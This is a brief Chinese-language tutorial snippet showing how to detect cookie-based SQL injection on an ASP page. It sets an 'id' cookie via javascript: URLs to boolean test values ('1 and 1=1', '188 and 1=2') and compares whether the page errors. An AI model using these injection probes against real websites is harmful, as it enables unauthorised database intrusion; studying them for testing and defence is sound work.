例:
http://xxxx/view.asp?id=1
先訪問http://xxxx/view.asp?id=1
接著在瀏覽器里輸入：
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再訪問http://xxxx/view.asp（未出錯）
再輸入：javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再訪問：http://xxxx/view.asp（出錯）
該頁面出錯就表示可以用Cookie注入。